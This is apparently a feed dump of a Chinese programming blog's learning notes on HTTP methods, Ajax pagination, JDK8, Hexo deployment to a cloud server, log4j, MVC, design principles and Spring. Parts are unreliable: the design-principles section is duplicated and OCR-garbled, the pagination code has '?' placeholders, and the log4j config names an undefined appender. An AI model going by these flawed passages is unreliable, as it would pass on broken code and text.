  • 根据 HTTP 规范，POST 表示可能修改变服务器上的资源的请求。
  • 首先是 “GET 方式提交的数据最多只能是 1024 字节”，因为 GET 是通过 URL 提交数据，那么 GET 可提交的数据量就跟 URL 的长度有直接关系了。而实际上，URL 不存在参数上限的问题，HTTP 协议规范没有对 URL 长度进行限制。这个限制是特定的浏览器及服务器对它的限制。IE 对 URL 长度的限制是 2083 字节(2K+35)。对于其他浏览器，如 Netscape、FireFox 等，理论上没有长度限制，其限制取决于操作系统的支持。注意这是限制是整个 URL 长度，而不仅仅是你的参数值数据长度。
  • POST 是没有大小限制的，HTTP 协议规范也没有进行大小限制
]]> 学习笔记 学习笔记 小知识 Ajax分页 /2018/07/12/ajax-fen-ye/ Ajax分页已经封装完成 简单快捷使用[可遍历部分属性]

修改自己的请求地址

注意： 样式需要导入bootstrap样式会好看一点

分页查询链接 返回的是一个总数目的int 值 在数据库查总条数就可以了

单页数据查询返回的是一个json格式的数组

注意： 需要导入jQuery的jar包

代码如下：

var page=1;
      var pageend=0;
      /**
       *
       * 每页条目数量pagecount
       *
       */
      var pagecount=5;
      /**
       *
       * headnames  分页标题名称  按照顺序书写
       *
       */
      var headnames=new Array("id","用户名","where are you from")
      /**
       *
       * notlookattr  不需要遍历的对象属性
       *
       */
      var notlookattr=new Array("pwd")
      /**
       *
       * Numberhref  分页查询 链接
       *
       */
      var Numberhref="/user/selectPzd";
 
      /**
       *
       * limithref  单页数据查询 链接
       *
       */
      var limithref="/user/selectPzdLimit";
      /**
       *
       * 刷新分页方法*********************    flseh()  *******
       *
       */
 
      var pagechange=1;
      function  pageTurn(data){
          console.log(data)
          if(data=="?"){
              if(page!=1){
                  page=page-1;
                  flseh();
              }
          }else if(data=="?"){
              if(page!=pageend){
                  page=parseInt(page)+1;
                  flseh();
              }
          }else if(data=="..."){
              var endli=$("#pages li").slice($("#pages li").length-4,$("#pages li").length-3);
              pagechange=endli.text();
              page=pagechange;
              flseh()
 
          }else if(data=="."){
              var endli=$("#pages li").slice(2,3);
              if(endli.text()!=1){
                  pagechange=parseInt(endli.text())-10;
                  page=pagechange;
              }
              flseh()
          }else{
              page=parseInt(data);
              flseh();
          }
      }
      function flseh(){
          $.post(Numberhref,function (data) {
              $("#pages li").remove();
              pageend=data/pagecount;
              $("#pages").append('<li><a href="#">&#171;</a></li>')
              $("#pages").append('<li><a href="#">.</a></li>')
              for (var i=pagechange;i<data/pagecount+1;i++){
                  $("#pages").append('<li><a href="#">'+i+'</a></li>')
                  if(i-pagechange>10){
                      $("#pages").append('<li><a href="#">...</a></li>')
                      break;
                  }
              }
              $("#pages").append('<li><a href="#">&#187;</a></li>')
          })
          $(".usershead td").remove();
          for (var i = 0; i <headnames.length ; i++) {
              $(".usershead").append('<td>'+ headnames[i]+'</td>')
          }
          $.post(limithref,{begin:(page-1)*pagecount,end:pagecount},function (data) {
              $("#users tr").remove();
              for (var i=0;i<pagecount;i++){
                  $("#users").append('<tr id="'+i+'pagerow"></tr>')
                  Object.getOwnPropertyNames(data[i]).forEach(function (key) {
                      var notlookboo=true;
                      for(var j=0;j<notlookattr.length;j++){
                          if(key==notlookattr[j]){
                              notlookboo=false;
                          }
                      }
                      if(notlookboo){
                          $("tr[id='"+i+"pagerow']").append(('<td>' + data[i][key]+ '</td>'))
                      }
                  })
              }
 
          })
      }

html代码

注意： 样式需要导入bootstrap样式会好看一点

<table class="table table-hover">
        <thead>
            <tr class="usershead"></tr>
        </thead>
        <tbody id="users">
 
        </tbody>
    </table>
    <ul class="pagination" id="pages">
 
    </ul>
]]> Ajax 分页 Ajax JDK8的新特性 /2018/07/09/jdk8-de-xin-te-xing/ JDK8 新特性

以下列出两点重要特性：

  • Lambda 表达式（匿名函数）

  • Stream 多线程并行数据处理（重要）

    新特性

  • 接口的默认方法只需要使用 default 关键字即可，这个特征又叫做 扩展方法

  • Lambda 表达式

  • Functional 接口 函数式接口 是指仅仅只包含一个抽象方法的接口，每一个该类型的 Lambda 表达式都会被匹配到这个抽象方法。你只需要给你的接口添加 @FunctionalInterface 注解

  • 使用 :: 双冒号关键字来传递方法(静态方法和非静态方法)

  • Predicate 接口和 Lambda 表达式

  • Function 接口

    • Function 有一个参数并且返回一个结果，并附带了一些可以和其他函数组合的默认方法
    • compose 方法表示在某个方法之前执行
    • andThen 方法表示在某个方法之后执行
    • 注意：compose 和 andThen 方法调用之后都会把对象自己本身返回，这可以 方便链式编程

  • Supplier 接口，返回一个任意范型的值，和 Function 接口不同的是该接口 没有任何参数

  • Consumer 接口，接收一个任意范型的值，和 Function 接口不同的是该接口 没有任何值

  • Optional 类

    • Optional 不是接口而是一个类，这是个用来防止 NullPointerException 异常的辅助类型
    • Optional 被定义为一个简单的容器，其值可能是 null 或者不是 null。
    • 在 Java8 之前一般某个函数应该返回非空对象但是偶尔却可能返回了 null，而在 Java8 中，不推荐你返回 null 而是返回 Optional。
    • 这是一个可以为 null 的容器对象。
    • 如果值存在则 isPresent() 方法会返回 true，调用 get() 方法会返回该对象。

      小栗子

      package com.lele.jdk8.feature.lambda;

      import java.util.Arrays;
      import java.util.List;
      import java.util.stream.Collectors;

      /**
       * Lambda 基本用法
       * <p>Title: BaseLambda</p>
       * <p>Description: </p>
       *
       * @author Lusifer
       * @version 1.0.0
       * @date 2019/1/6 10:42
       */
      public class BaseLambda {
          public static void main(String[] args) {
              testForeach();
              testStreamDuplicates();
          }

          /**
           * Lambda 遍历
           */
          public static void testForeach() {
              // 定义一个数组
              String[] array = {
                      "尼尔机械纪元",
                      "关于我转生成为史莱姆这件事",
                      "实力至上主义教师",
                      "地狱少女"
              };

              // 转换成集合
              List<String> acgs = Arrays.asList(array);

              // 传统的遍历方式
              System.out.println("传统的遍历方式：");
              for (String acg : acgs) {
                  System.out.println(acg);
              }
              System.out.println();

              // 使用 Lambda 表达式以及函数操作(functional operation)
              System.out.println("Lambda 表达式以及函数操作：");
              acgs.forEach((acg) -> System.out.println(acg));
              System.out.println();

              // 在 Java 8 中使用双冒号操作符(double colon operator)
              System.out.println("使用双冒号操作符：");
              acgs.forEach(System.out::println);
              System.out.println();
          }

          /**
           * Stream 去重复
           * String 和 Integer 可以使用该方法去重
           */
          public static void testStreamDuplicates() {
              System.out.println("Stream 去重复：");

              // 定义一个数组
              String[] array = {
                      "尼尔机械纪元",
                      "尼尔机械纪元",
                      "关于我转生成为史莱姆这件事",
                      "关于我转生成为史莱姆这件事",
                      "实力至上主义教师",
                      "实力至上主义教师",
                      "地狱少女",
                      "地狱少女"
              };

              // 转换成集合
              List<String> acgs = Arrays.asList(array);

              // Stream 去重复
              acgs = acgs.stream().distinct().collect(Collectors.toList());

              // 打印
              acgs.forEach(System.out::println);
          }
      }
]]> JAVA JAVA Jdk Hexo 博客部署到腾讯云教程 /2018/07/03/hexo-bo-ke-bu-shu-dao-teng-xun-yun-jiao-cheng/

本篇内容用来讲述如何将 hexo 博客部署到腾讯云的服务器上。
只要通过三步即可成功部署：

  • 云服务器端 git 的配置
  • Nginx 的配置
  • 本地端 hexo 的设置更改

下面开始正式讲解如何部署。

前期需要准备：

  • 一个腾讯云服务器
  • hexo 本地博客

顺便说下我的服务器环境：
| 操作系统 | CPU | 内存 | 带宽 |
|—————–|—–|—–|——-|
| CentOS 7.2 64位 | 1核 | 2GB | 1Mbps |

1. 进入云服务器中

  • 左边菜单选择云主机，然后找到你的服务器。点击登录
  • 输入密码，进入 云服务器 CentOS中。（初始密码在控制台右上角的消息列表中）

2. 云服务器端配置 git

1.安装依赖库和编译工具

  • 安装依赖库：

    yum install curl-devel expat-devel gettext-devel openssl-devel zlib-devel

  • 安装编译工具：

    yum install gcc perl-ExtUtils-MakeMaker package

2.下载git

  • 选择一个目录来存放下载下来的git安装包。这里选择了/usr/local/src目录

cd /usr/local/src

  • 到官网找一个新版稳定的源码包下载到 /usr/local/src 文件夹里

wget https://www.kernel.org/pub/software/scm/git/git-2.16.2.tar.gz

  • 解压编译 git

  • 在当前目录下解压 git-2.16.2.tar.gz

tar -zvxf git-2.16.2.tar.gz

  • 进入 git-2.16.2.tar.gz 目录下

cd git-2.16.2

  • 执行编译

make all prefix=/usr/local/git

  • 安装 git 到 /usr/local/git 目录下

make install prefix=/usr/local/git

4.配置 git 环境变量

  • 将 git 加入 PATH 目录中

echo ‘export PATH=$PATH:/usr/local/git/bin’ >> /etc/bashrc

  • 使 git 环境变量生效

source /etc/bashrc

5.查看 git 版本

git –version

如果此时能查看到 git 的版本号，说明我们已经安装成功了。

6.创建 git 仓库，用于存放博客网站资源。

  • 在 home/git 的目录下，创建一个名为hexoBlog的裸仓库（bare repo）。
    如果没有 home/git 目录，需要先创建；然后修改目录的所有权和用户权限。

mkdir /home/git/

chown -R $USER:$USER /home/git/

chmod -R 755 /home/git/

然后，执行如下命令：

cd /home/git/

git init –bare hexoBlog.git

刚才这一步主要创建一个裸的 git 仓库。

7.创建一个新的 git 钩子，用于自动部署。

  • 在 /home/git/hexoBlog.git 下，有一个自动生成的hooks 文件夹。我们需要在里边新建一个新的钩子文件 post-receive。

vim /home/git/hexoBlog.git/hooks/post-receive

按 i键进入文件的编辑模式，在该文件中添加两行代码（将下边的代码粘贴进去)，指定 Git 的工作树（源代码）和 Git 目录（配置文件等）。

#!/bin/bash

git –work-tree=/home/hexoBlog –git-dir=/home/git/hexoBlog.git checkout -f

然后，按Esc键退出编辑模式，输入:wq保存退出。
修改文件权限，使得其可执行。

chmod +x /home/git/hexoBlog.git/hooks/post-receive

到这里，我们的 git 仓库算是完全搭建好了。下面进行 Nginx 的配置。

3.云服务器端配置 Nginx

安装 Nginx
yum install -y nginx
启动 Nginx
service nginx start
测试 Nginx 服务器
wget http://127.0.0.1
能够正常获取以下欢迎页面说明Nginx安装成功。

Connecting to 127.0.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 43704 (43K) [text/html]
Saving to: ‘index.html’

100%[=======================================>] 43,704      --.-K/s   in 0s

2018-03-09 23:04:09 (487 MB/s) - ‘index.html’ saved [43704/43704]

  • 测试网页是否能打开
    在浏览器中输入服务器 ip 地址，就是服务器的公网 ip。

  • 配置 Nginx 托管文件目录

    • 接下来，创建 /home/hexoBlog目录，用于 Nginx 托管。

      mkdir /home/hexoBlog/

      chown -R $USER:$USER /home/hexoBlog/

      chmod -R 755 /home/hexoBlog/

  • 查看 Nginx 的默认配置的安装位置

nginx -t

  • 修改Nginx的默认配置，其中 cd 后边就是刚才查到的安装位置（每个人可能都不一样）

vim /etc/nginx/nginx.conf

  • 按方向键，找到如下位置
server {
    listen 80 default_server;
    listen [::]:80 default_server;
    root /home/hexoBlog;    #需要修改
    
    server_name www.bujige.net; #需要修改
    
    # Load configuration files for the default server block.
    include /etc/nginx/default.d/*.conf;
    location / {
    }
    error_page 404 /404.html;
        location = /40x.html {
    }

按i键进入插入模式，将其中的 root 值改为/home/hexoBlog （刚才创建的托管仓库目录）。
将 server_name 值改成你的域名。

  • 重启 Nginx 服务

service nginx restart

至此，服务器端配置就结束了。接下来，就剩下本地 hexo 的配置更改了。

4. 修改 hexo 站点配置文件 git 相关设置

  • 打开你本地的 hexo 博客所在文件，打开站点配置文件（不是主题配置文件），做以下修改。

deploy:

type: git

repo: root@CVM 你的云服务器的IP地址:/home/git/hexoBlog

branch: master

  • 在 hexo 目录下执行部署，试试看。

cd 你的 hexo 目录

hexo clean

hexo generate

hexo deploy

  • 打开你的公网 IP，看是不是已经部署成功了。

  • 最后一步，更改域名解析。这一步不再做介绍。

]]> 教程 学习笔记 教程 log4j的使用 /2018/06/11/log4j-de-shi-yong/ 概述

一个完整的软件，日志是必不可少的。程序从开发、测试、维护、运行等环节，都需要向控制台或文件等位置输出大量信息。这些信息的输出， 在很多时候是使用 System.out.println() 无法完成的。

日志信息根据用途与记录内容的不同，分为 调试日志、运行日志、异常日志等。

Log4j 的全称为 Log for java，即专门用于 Java 语言的日志记录工具。

概述

为了方便对于日志信息的输出显示，对日志内容进行了分级管理。日志级别由高到低，共分 6 个级别：

  • fatal(致命的)
  • error
  • warn
  • info
  • debug
  • trace(堆栈)

    为什么要对日志进行分级

无论是将日志输出到控制台，还是文件，其输出都会降低程序的运行效率。但由于调试、运行维护的需要，客户的要求等原因，需要进行必要的日志输出。这时就必须要在代码中加入日志输出语句。

这些输出语句若在程序运行时全部执行， 则势必会降低运行效率。例如， 使用 System.out.println() 将信息输出到控制台，则所有的该输出语句均将执行。会大大降低程序的执行效率。而要使其不输出，唯一的办法就是将这些输出语句逐个全部删除。这是个费时费力的过程。

将日志信息进行分级管理，便可方便的控制信息输出内容及输出位置：哪些信息需要输出，哪些信息不需要输出，只需在一个日志输出控制文件中稍加修改即可。而代码中的输出语句不用做任何修改。

从这个角度来说，代码中的日志编写，其实就是写大量的输出语句。只不过，这些输出语句比较特殊，它们具有级别，在程序运行期间不一定被执行。它们的执行是由另一个控制文件控制。

日志输出简介

Log4j 的日志输出控制文件，主要由三个部分构成：

  • 日志信息的输出位置：控制日志信息将要输出的位置，是控制台还是文件等。
  • 日志信息的输出格式：控制日志信息的显示格式，即以怎样的字符串形式显示。
  • 日志信息的输出级别：控制日志信息的显示内容，即显示哪些级别的日志信息。
    有了日志输出控制文件，代码中只要设置好日志信息内容及其级别即可，通过控制文件便可控制这些日志信息的输出了。

日志属性配置文件

日志属性文件 log4j.properties 是专门用于控制日志输出的。其主要进行三方面控制：

输出位置：控制日志将要输出的位置，是控制台还是文件等。
输出布局：控制日志信息的显示形式。
输出级别：控制要输出的日志级别。
日志属性文件由两个对象组成：日志附加器与根日志。

根日志，即为 Java 代码中的日志记录器，其主要由两个属性构成：日志输出级别与日志附加器。

日志附加器，则由日志输出位置定义，由其它很多属性进行修饰，如输出布局、文件位置、文件大小等。

什么是日志附加器？

所谓日志附加器，就是为日志记录器附加上很多其它设置信息。附加器的本质是一个接口，其定义语法为：log4j.appender.appenderName = 输出位置

常用的附加器实现类

  • org.apache.log4j.ConsoleAppender：日志输出到控制台

  • org.apache.log4j.FileAppender：日志输出到文件

  • org.apache.log4j.RollingFileAppender：当日志文件大小到达指定尺寸的时候将产生一个新的日志文件

  • org.apache.log4j.DailyRollingFileAppender：每天产生一个日志文件

    常用布局类型

  • org.apache.log4j.HTMLLayout：网页布局，以 HTML 表格形式布局

  • org.apache.log4j.SimpleLayout：简单布局，包含日志信息的级别和信息字符串

  • org.apache.log4j.PatternLayout：匹配器布局，可以灵活地指定布局模式。其主要是通过设置 PatternLayout 的 ConversionPattern 属性值来控制具体输出格式的 。
    打印参数: Log4J 采用类似 C 语言中的 printf 函数的打印格式格式化日志信息

  • %m：输出代码中指定的消息

  • %p：输出优先级，即 DEBUG，INFO，WARN，ERROR，FATAL

  • %r：输出自应用启动到输出该 log 信息耗费的毫秒数

  • %c：输出所属的类目，通常就是所在类的全名

  • %t：输出产生该日志事件的线程名

  • %n：输出一个回车换行符，Windows 平台为 /r/n，Unix 平台为 /n

  • %d：输出日志时间点的日期或时间，默认格式为 ISO8601，也可以在其后指定格式，比如：%d{yyy MMM dd HH:mm:ss , SSS}，输出类似：2002年10月18日 22:10:28,921

  • %l：输出日志事件的发生位置，包括类目名、发生的线程，以及在代码中的行数。举例：Testlog4.main(TestLog4.java: 10 )

Slf4j 简介

slf4j 的全称是 Simple Loging Facade For Java，即它仅仅是一个为 Java 程序提供日志输出的统一接口，并不是一个具体的日志实现方案，就比如 JDBC 一样，只是一种规则而已。所以单独的 slf4j 是不能工作的，必须搭配其他具体的日志实现方案，比如 apache 的 org.apache.log4j.Logger，JDK 自带的 java.util.logging.Logger 以及 log4j 等。
(Slf4j只有实现，也就是一个接口)

POM

继续之前的项目，pom.xml 配置如下：

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" 
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.funtl</groupId>
    <artifactId>hello-spring</artifactId>
    <version>1.0.0-SNAPSHOT</version>
    <packaging>jar</packaging>

    <dependencies>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>4.3.17.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <version>1.7.25</version>
        </dependency>
    </dependencies>
</project>

主要增加了org.slf4j:slf4j-log4j12 依赖

创建 log4j.properties配置文件

在 src/main/resources 目录下创建名为log4j.properties 的属性配置文件

log4j.rootLogger=INFO, console, file

log4j.appender.console=org.apache.log4j.ConsoleAppender
log4j.appender.console.layout=org.apache.log4j.PatternLayout
log4j.appender.console.layout.ConversionPattern=%d %p [%c] - %m%n

log4j.appender.file=org.apache.log4j.DailyRollingFileAppender
log4j.appender.file.File=logs/log.log
log4j.appender.file.layout=org.apache.log4j.PatternLayout
log4j.appender.A3.MaxFileSize=1024KB
log4j.appender.A3.MaxBackupIndex=10
log4j.appender.file.layout.ConversionPattern=%d %p [%c] - %m%n

日志配置相关说明：

  • log4j.rootLogger：根日志，配置了日志级别为 INFO，预定义了名称为 console、file 两种附加器
  • log4j.appender.console：console 附加器，日志输出位置在控制台
  • log4j.appender.console.layout：console 附加器，采用匹配器布局模式
  • log4j.appender.console.layout.ConversionPattern：console 附加器，日志输出格式为：日期 日志级别 [类名] - 消息换行符
  • log4j.appender.file：file 附加器，每天产生一个日志文件
  • log4j.appender.file.File：file 附加器，日志文件输出位置 logs/log.log
  • log4j.appender.file.layout：file 附加器，采用匹配器布局模式
  • log4j.appender.A3.MaxFileSize：日志文件最大值
  • log4j.appender.A3.MaxBackupIndex：最多纪录文件数
  • log4j.appender.file.layout.ConversionPattern：file 附加器，日志输出格式为：日期 日志级别 [类名] - 消息换行符

    测试日志输出

    创建一个测试类，并测试日志输出效果，代码如下：
    package com.funtl.hello.spring;

    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;

    public class MyTest {

        public static final Logger logger = LoggerFactory.getLogger(MyTest.class);

        public static void main(String[] args) {
            logger.info("slf4j for info");
            logger.debug("slf4j for debug");
            logger.error("slf4j for error");
            logger.warn("slf4j for warn");

            String message = "Hello SLF4J";
            logger.info("slf4j message is : {}", message);
        }
    }
    此时控制台显示为：
    2018-06-07 05:15:42,914 INFO [com.funtl.hello.spring.MyTest] - slf4j for info
    2018-06-07 05:15:42,915 ERROR [com.funtl.hello.spring.MyTest] - slf4j for error
    2018-06-07 05:15:42,915 WARN [com.funtl.hello.spring.MyTest] - slf4j for warn
    2018-06-07 05:15:42,916 INFO [com.funtl.hello.spring.MyTest] - slf4j message is : Hello SLF4J
    项目根目录下也会多出 logs/log.log 目录及文件

附：占位符说明

打日志的时候使用了{} 占位符，这样就不会有字符串拼接操作，减少了无用 String 对象的数量，节省了内存。并且，记住，在生产最终日志信息的字符串之前，这个方法会检查一个特定的日志级别是不是打开了，这不仅降低了内存消耗而且预先降低了CPU 去处理字符串连接命令的时间。

]]> log4j 学习笔记 log4j 高内聚低耦合 /2018/06/01/gao-nei-ju-di-ou-he/ 随笔：
视图层
业务逻辑层 service
数据访问层 Dao 数据访问对象（持久层）

在开发中，业务才是核心

新的技术诞生都是为了提高产品的

  • 效率
  • 安全性
  • 易于维护，使用

总结：技术是辅助业务的

业务问题

业务是有复杂度的，事务

又分为：

  • 简单业务 开启一个事务
  • 普通业务 开启三个事务
  • 复杂业务 开启七个事务

多张表之间有依赖关系 –> 强关联性

所有业务都写进main方法那么这个就是 高耦合

方法技巧：

  • 一个类只做一件事
  • 一个方法只做一件事
  • 写且只写一次
    • 例如：工具类–>日期管理–>依赖专门负责日期运算方法
    • 例如：数学工具类
      日期也有加减 四则运算
      （当日期类依赖了数学类就是强相关的，耦合就产生了）

      按照以上三个步骤就可以实现高内聚，低耦合

]]> 随笔 随笔 学习笔记 什么是MVC模式 /2018/05/16/shi-me-shi-mvc-mo-shi/ 概述

MVC，即 Model 模型、View 视图，及 Controller 控制器。

  • View：视图，为用户提供使用界面，与用户直接进行交互。
  • Model：模型，承载数据，并对用户提交请求进行计算的模块。其分为两类，一类称为数据承载 Bean，一类称为业务处理 Bean。所谓数据承载 Bean 是指实体类，专门用户承载业务数据的，如 Student、User 等。而业务处理 Bean 则是指 Service 或 Dao 对象， 专门用于处理用户提交请求的。
  • Controller：控制器，用于将用户请求转发给相应的 Model 进行处理，并根据 Model 的计算结果向用户提供相应响应。

    MVC 架构程序的工作流程

  • 用户通过 View 页面向服务端提出请求，可以是表单请求、超链接请求、AJAX 请求等
  • 服务端 Controller 控制器接收到请求后对请求进行解析，找到相应的 Model 对用户请求进行处理
  • Model 处理后，将处理结果再交给 Controller
  • Controller 在接到处理结果后，根据处理结果找到要作为向客户端发回的响应 View 页面。页面经渲染（数据填充）后，再发送给客户端。

三层架构 + MVC 示意图

PS : MVC模式是三层架构的视图层

说说你对设计原则的理解

口诀

为了便于记忆,我们可以使用一一个几决来记忆面向对象设计原则:开口合里最单依

开:开闭原则
口:接口隔离原则
合:组合/聚合原则
里:里式替换原则
最:最少知识原则(迪米特法则)
单:单一职责原则
依:依赖倒置原则
开闭原则(Open-Closed Principle, 0CP)

一个软件实体应当刘扩展开发，对修改关闭说的是，再设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展换言之，应当可以在不必修改源代码的情况下改变这个模块的行为,在保持系统定稳定性的基础F ,对系统进行扩展。这是面向对象设计( 0OD )的基石，也是最重要的原则。

接口隔离原则(Interface Segregation Principle, ISP)

一个类对另外一个类的依赖是建立在最小的接山上。

使用多个专J的接口比使用单-的总接C要好根据客户需要的不同，而为不同的客户端提供不同的服务是一 种应当得到鼓励的做法。就像”看人下菜碟”一 -样要看客人是谁，再提供不同档次的饭菜.

胖接口会导致他们的客户程序之间产生不正常的并且有害的耦合关系当一个客户程序要求该胖接口进行-一个改动时,会影响到所有其他的客户程序,因此客户程序应该仅仅依赖他们实际需要调用的方法.

组合/聚合复用原则(Composite/Aggregate Reuse Principle , CARP)

在一个新的对象里面使用一些已有的对象,使之成为新对象的一部分;新的对象通过这些向对象的委派达到复用已有功能的目的.这个设计原则有另一个简短的表述:要尽量使用合成/聚合,尽量不要使用继承.

里氏代换原则(Liskov Substitution Principle，LSP)

说说你对设计原则的理解

口诀

为了便于记忆,我们可以使用一一个几决来记忆面向对象设计原则:开口合里最单依

  • 开:开闭原则
  • 口:接口隔离原则
  • 合:组合/聚合原则
  • 里:里式替换原则
  • 最:最少知识原则(迪米特法则)
  • 单:单一职责原则
  • 依:依赖倒置原则

开闭原则(Open-Closed Principle, 0CP)

一个软件实体应当刘扩展开发，对修改关闭说的是，再设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展换言之，应当可以在不必修改源代码的情况下改变这个模块的行为,在保持系统定稳定性的基础F ,对系统进行扩展。这是面向对象设计( 0OD )的基石，也是最重要的原则。

接口隔离原则(Interface Segregation Principle, ISP)

  • 一个类对另外一个类的依赖是建立在最小的接山上。

  • 使用多个专J的接口比使用单-的总接C要好根据客户需要的不同，而为不同的客户端提供不同的服务是一 种应当得到鼓励的做法。就像”看人下菜碟”一 -样要看客人是谁，再提供不同档次的饭菜.

  • 胖接口会导致他们的客户程序之间产生不正常的并且有害的耦合关系当一个客户程序要求该胖接口进行-一个改动时,会影响到所有其他的客户程序,因此客户程序应该仅仅依赖他们实际需要调用的方法.

组合/聚合复用原则(Composite/Aggregate Reuse Principle , CARP)

在一个新的对象里面使用一些已有的对象,使之成为新对象的一部分;新的对象通过这些向对象的委派达到复用已有功能的目的.这个设计原则有另一个简短的表述:要尽量使用合成/聚合,尽量不要使用继承.

里氏代换原则(Liskov Substitution Principle，LSP)

由 Barbar Liskov (芭芭拉.里氏) 提出，是继承复用的基石。

所有引用基类的地方必须透明的使用其子类的对象。只要父类能出现的地方子类也可以出现，而且替换为子类不会产生任何错误或异常，但是反过来就不行，有子类出现的地方，父类未必就能适应。

最少知识原则(Least Knowledge Principle，LKP)

一个对象应当对其他对象有尽可能少的了解.

没有任何一个其他的 OO 设计原则象迪米特法则这样有如此之多的表述方式,如下几种：

  • 只与你直接的朋友们通信(Only talk to your immediate friends)
  • 不要跟”陌生人”说话(Don’t talk to strangers)
  • 每一个软件单位对其他的单位都只有最少的知识,而且局限于那些本单位密切相关的软件单位

就是说,如果两个类不必彼此直接通信,那么这两个类就不应当发生直接的相互作用,如果其中的一个类需要调用另一个类的某一个方法的话,可以通过第三者转发这个调用。

单一职责原则(Simple responsibility pinciple，SRP)

就一个类而言,应该仅有一个引起它变化的原因,如果你能想到多于一个的动机去改变一个类,那么这个类就具有多于一个的职责.应该把多于的指责分离出去,分别再创建一些类来完成每一个职责.

依赖倒置原则(Dependence Inversion Principle)

要求客户端依赖于抽象耦合.

  • 模块间的依赖通过抽象发生，实现类之间不发生直接的依赖关系，其依赖关系是通过- 接口或抽象类产生的。
  • 接口或抽象类不依赖实现类
  • 实现类依赖接口或抽象类

采用依赖倒置原则可以减少类间的耦合性，提高系统的稳定，降低并行开发引起的风险，提高代码的可读性和可维护性。

]]> MVC模式 学习笔记 MVC模式 什么是三层架构 /2018/05/11/shi-me-shi-san-ceng-jia-gou/ 什么是系统架构

所谓系统架构是指，整合应用系统程序大的结构。经常提到的系统结构有两种：三层架构与 MVC。这两种结构既有区别，又有联系。但这两种结构的使用，均是为了降低系统模块间的耦合度。

什么是三层架构

三层架构是指：视图层 View、服务层 Service，与持久层 DAO。它们分别完成不同的功能。

  • View 层：用于接收用户提交请求的代码
  • Service 层：系统的业务逻辑主要在这里完成
  • DAO 层：直接操作数据库的代码
    为了更好的降低各层间的耦合度，在三层架构程序设计中，采用面向抽象编程。即上层对下层的调用，是通过接口实现的。而下层对上层的真正服务提供者，是下层接口的实现类。服务标准（接口）是相同的，服务提供者（实现类）可以更换。这就实现了层间解耦合。

为什么需要架构

随着系统的升级，业务结构就越来复杂，越复杂的系统它的耦合度就越高，所以就需要架构进行解耦合。

随笔：

视图层

业务逻辑层 service

数据访问层 Dao 数据访问对象（持久层）

在开发中，业务才是核心

新的技术诞生都是为了提高产品的

  • 效率
  • 安全性
  • 易于维护，使用

总结：技术是辅助业务的

业务问题

业务是有复杂度的，事务

又分为：

  • 简单业务 开启一个事务
  • 普通业务 开启三个事务
  • 复杂业务 开启七个事务

多张表之间有依赖关系 –> 强关联性

所有业务都写进main方法那么这个就是 高耦合

方法技巧：

  • 一个类只做一件事
  • 一个方法只做一件事
  • 写且只写一次
    • 例如：工具类–>日期管理–>依赖专门负责日期运算方法
    • 例如：数学工具类
      日期也有加减 四则运算
      （当日期类依赖了数学类就是强相关的，耦合就产生了）

      按照以上三个步骤就可以实现高内聚，低耦合

Model 角色

数据模型 Entity JSP

业务模型 Service

控制器 Controller 处理用户的请求

Servlet 服务器的小程序

  • 处理业务逻辑
  • 处理页面展示

JSP就是Servlet 处理页面展示的技术 .asp .jsp .php

]]> 架构 学习笔记 架构 Spring框架 /2018/05/05/spring-kuang-jia/ 概述

Spring 的主要作用就是为代码“解耦”，降低代码间的耦合度。

根据功能的不同，可以将一个系统中的代码分为 主业务逻辑 与 系统级业务逻辑 两类。它们各自具有鲜明的特点：主业务代码间逻辑联系紧密，有具体的专业业务应用场景，复用性相对较低；系统级业务相对功能独立，没有具体的专业业务应用场景，主要是为主业务提供系统级服务，如日志、安全、事务等，复用性强。

Spring 根据代码的功能特点，将降低耦合度的方式分为了两类：IoC 与 AOP。IoC 使得主业务在相互调用过程中，不用再自己维护关系了，即不用再自己创建要使用的对象了。而是由 Spring 容器统一管理，自动“注入”。而 AOP 使得系统级服务得到了最大复用，且不用再由程序员手工将系统级服务“混杂”到主业务逻辑中了，而是由 Spring 容器统一完成“织入”。

Spring 是于 2003 年兴起的一个轻量级的 Java 开发框架，它是为了解决企业应用开发的复杂性而创建的。Spring 的核心是控制反转（IoC）和面向切面编程（AOP）。简单来说，Spring 是一个分层的 Java SE/EE full-stack(一站式)轻量级开源框架。

Spring 体系结构

Spring 由 20 多个模块组成，它们可以分为数据访问/集成（Data Access/Integration）、Web、面向切面编程（AOP, Aspects）、应用服务器设备管理（Instrumentation）、消息发送（Messaging）、核心容器（Core Container）和测试（Test）。

Spring 的特点

非侵入式

所谓非侵入式是指，Spring 框架的 API 不会在业务逻辑上出现，即业务逻辑是 POJO。由于业务逻辑中没有 Spring 的 API，所以业务逻辑可以从 Spring 框架快速的移植到其他框架， 即与环境无关。

容器

Spring 作为一个容器，可以管理对象的生命周期、对象与对象之间的依赖关系。可以通过配置文件，来定义对象，以及设置与其他对象的依赖关系。

IoC

控制反转（Inversion of Control），即创建被调用者的实例不是由调用者完成，而是由 Spring 容器完成，并注入调用者。

当应用了 IoC，一个对象依赖的其它对象会通过被动的方式传递进来，而不是这个对象自己创建或者查找依赖对象。即，不是对象从容器中查找依赖，而是容器在对象初始化时不等对象请求就主动将依赖传递给它。

AOP

面向切面编程（AOP，Aspect Orient Programming），是一种编程思想，是面向对象编程 OOP 的补充。很多框架都实现了对 AOP 编程思想的实现。Spring 也提供了面向切面编程的丰富支持，允许通过分离应用的业务逻辑与系统级服务（例如日志和事务管理）进行开发。应用对象只实现它们应该做的——完成业务逻辑——仅此而已。它们并不负责其它的系统级关注点，例如日志或事务支持。

